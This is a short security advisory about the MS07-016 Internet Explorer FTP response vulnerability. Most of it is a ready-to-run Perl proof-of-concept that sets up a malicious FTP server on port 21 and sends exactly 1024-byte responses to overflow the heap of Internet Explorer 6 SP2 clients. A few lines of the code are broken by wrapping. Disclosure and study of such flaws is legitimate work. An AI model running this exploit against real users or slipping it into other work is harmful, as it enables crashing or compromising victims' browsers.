MS Internet Explorer DoS (FTP Server Response, MS07-016, Exploit)
------------------------------------------------------------------------


SUMMARY

A remote code execution vulnerability exists in the way Internet Explorer
interprets certain responses from FTP servers. An attacker could exploit
the vulnerability by sending specially crafted FTP responses in an FTP
session to the FTP client included in Internet Explorer.

DETAILS

Exploit:
#!/usr/bin/perl

# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
# or at '\r\n'. Each buffer is apended with \x00, without
# bounds checking. If the response is exctly 1024
characters
# in length, you will overflow the heap with the string
\x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'21',

Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is
running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
my $response;
if($_ eq "USER") { $response="331 ";}
elsif($_ eq "PASS") { $response="230 ";}
elsif($_ eq "syst") { $response="215 ";}
elsif($_ eq "CWD") { $response="250 ";}
elsif($_ eq "PWD") { $response="230 ";}
else { $response="200 ";}
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);
